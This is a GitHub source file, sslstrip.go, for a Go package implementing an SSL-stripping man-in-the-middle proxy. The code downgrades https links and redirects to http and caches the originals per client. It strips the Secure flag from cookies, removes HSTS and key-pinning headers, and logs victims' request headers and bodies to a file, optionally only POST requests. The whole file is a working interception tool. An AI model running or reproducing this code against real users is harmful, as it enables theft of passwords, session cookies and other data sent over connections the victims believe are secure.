-
Notifications
You must be signed in to change notification settings - Fork 3
/
sslstrip.go
303 lines (253 loc) · 7.03 KB
/
sslstrip.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
package sslstrip
import (
"bytes"
"compress/gzip"
"fmt"
"io"
"io/ioutil"
"log"
"net/http"
"net/url"
"os"
"regexp"
"strings"
"sync"
"time"
)
type server struct {
logger io.Writer
postOnly bool
logResponse bool
}
// clientLink stores client ip and url pair.
//
// We use as a key in the cache which stores
// the stripped links and their originals
type clientLink struct {
clientIP string
url string
}
// storedLinks maps stripped urls to their originals
var storedLinks map[clientLink]string = make(map[clientLink]string, 0)
var mu sync.RWMutex
// client is the HTTP client we use to make requests
//
// We do not want our client to follow redirects so
// we change the default CheckRedirect function
var client = &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
// ignoredRequestHeaders are the headers that will be ignored
// when sending the request to the server
var ignoredRequestHeaders = map[string]struct{}{
"Cache-Control": struct{}{},
"If-Modified-Since": struct{}{},
"If-None-Match": struct{}{},
}
// ignoredResponseHeaders are the headers that will be ignored
// when sending the response to the user
var ignoredResponseHeaders = map[string]struct{}{
// content length will change after stripping and needs to be recalculated
"Content-Length": struct{}{},
// hsts and hpkp headers
"Public-Key-Pins": struct{}{},
"Public-Key-Pins-Report-Only": struct{}{},
"Strict-Transport-Security": struct{}{},
}
// getLink function gives the original url for the stripped one
func getLink(cl clientLink) (string, bool) {
mu.RLock()
defer mu.RUnlock()
link, exists := storedLinks[cl]
return link, exists
}
// storeLink stores the orginal url for the stripped one
func setLink(cl clientLink, link string) {
mu.Lock()
defer mu.Unlock()
storedLinks[cl] = link
}
// normalizeIP extracts the IP part from the RemoteAddr
func normalizeIP(remoteAddr string) string {
return strings.Split(remoteAddr, ":")[0]
}
func normalizeUrl(link string) (string, error) {
originalUrl, err := url.Parse(link)
if err != nil {
return "", err
}
if originalUrl.Path == "" {
originalUrl.Path = "/"
}
return originalUrl.String(), nil
}
func makeRequest(req *http.Request) (*http.Response, error) {
// error will never happen
u, _ := normalizeUrl(req.URL.String())
cl := clientLink{
clientIP: normalizeIP(req.RemoteAddr),
url: u,
}
// restore original link if cached
if link, exists := getLink(cl); exists {
originalUrl, err := req.URL.Parse(link)
if err != nil {
return nil, err
}
req.URL = originalUrl
}
// make request to server
res, err := client.Do(req)
if err != nil {
return nil, err
}
return res, nil
}
func stripResponse(req *http.Request, res *http.Response) ([]byte, error) {
// strip location header if exists
location := res.Header.Get("Location")
if strings.HasPrefix(location, "https") {
strippedLocation, err := normalizeUrl("http" + location[5:])
if err != nil {
return nil, err
}
// cache original location
forgedKey := clientLink{
clientIP: normalizeIP(req.RemoteAddr),
url: strippedLocation,
}
setLink(forgedKey, location)
res.Header.Set("Location", strippedLocation)
}
// strip secure cookies
if cookies, exists := res.Header["Set-Cookie"]; exists {
for i := 0; i < len(cookies); i++ {
cookie := cookies[i]
if idx := strings.LastIndex(cookie, "Secure"); idx != -1 {
cookies[i] = cookie[:idx] + cookie[idx+6:]
}
}
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
return nil, fmt.Errorf("Error when reading response body: %q\n", err)
}
// strip all https links in the response body
regex, _ := regexp.Compile("(https://[a-zA-Z0-9_:#@%/;$()~_?+-=\\.&]*)")
strippedBody := regex.ReplaceAllFunc(body, func(u []byte) []byte {
url := string(u)
strippedUrl, err := normalizeUrl("http://" + url[8:])
if err != nil {
fmt.Fprintf(os.Stderr, "Warning: could not normalize url %s: %q\n", url, err)
return u
}
// store original link for future requests
key := clientLink{
clientIP: normalizeIP(req.RemoteAddr),
url: strippedUrl,
}
setLink(key, url)
return []byte(strippedUrl)
})
return strippedBody, nil
}
func (s server) ServeHTTP(responseWriter http.ResponseWriter, req *http.Request) {
// read request body
reqBody, err := ioutil.ReadAll(req.Body)
if err != nil {
fmt.Fprintf(os.Stderr, "Could not get body: %q\n", err)
return
}
if !s.postOnly || req.Method == "POST" {
fmt.Fprintf(s.logger, "%q %q %q %q\nHeaders: %q\nBody: %q\n\n", time.Now().Format(time.RFC850), req.RemoteAddr, req.Method, req.URL, req.Header, reqBody)
}
proxyHeaders := make(http.Header)
for key, value := range req.Header {
if _, ignored := ignoredRequestHeaders[key]; !ignored {
proxyHeaders[key] = value
}
}
// build request to be made
proxyReq := &http.Request{
Method: req.Method,
URL: req.URL,
Header: proxyHeaders,
Host: req.Host,
Close: req.Close,
Body: ioutil.NopCloser(bytes.NewReader(reqBody)),
RemoteAddr: req.RemoteAddr,
}
// make request to the server
res, err := makeRequest(proxyReq)
if err != nil {
fmt.Fprintf(os.Stderr, "Error occurred when making proxy request: %q\n", err)
return
}
// decompress body before stripping if compressed
if res.Header.Get("Content-Encoding") == "gzip" {
reader, err := gzip.NewReader(res.Body)
if err != nil {
fmt.Fprintf(os.Stderr, "Error when decompressing response body: %q\n", err)
return
}
res.Body = reader
}
// strip response
strippedBody, err := stripResponse(req, res)
if err != nil {
fmt.Fprintf(os.Stderr, "Error when stripping response: %q\n", err)
return
}
if s.logResponse {
fmt.Fprintf(s.logger, "%q %q %q %q %q\nHeaders: %q\nBody: %q\n\n", time.Now().Format(time.RFC850), req.RemoteAddr, res.StatusCode, res.Status, req.URL, res.Header, strippedBody)
}
// compress stripped body if necessary
if res.Header.Get("Content-Encoding") == "gzip" {
var b bytes.Buffer
writer := gzip.NewWriter(&b)
writer.Write(strippedBody)
writer.Flush()
writer.Close()
strippedBody = b.Bytes()
}
// build headers that will be returned to the client
header := responseWriter.Header()
for key, value := range res.Header {
if _, ignored := ignoredResponseHeaders[key]; !ignored {
header[key] = value
}
}
responseWriter.WriteHeader(res.StatusCode)
// send stripped body to client
_, err = responseWriter.Write(strippedBody)
if err != nil {
fmt.Fprintf(os.Stderr, "Error when sending response body to client: %q\n", err)
return
}
}
type Params struct {
Port int
Filename string
PostOnly bool
LogResponse bool
}
func Start(p Params) {
var writer io.Writer = os.Stdout
var err error
if p.Filename != "" {
writer, err = os.Create(p.Filename)
if err != nil {
fmt.Fprintf(os.Stderr, "Could not open file %q: %q\n", p.Filename, err)
return
}
}
s := server{
writer,
p.PostOnly,
p.LogResponse,
}
log.Fatal(http.ListenAndServe(fmt.Sprintf("0.0.0.0:%d", p.Port), s))
}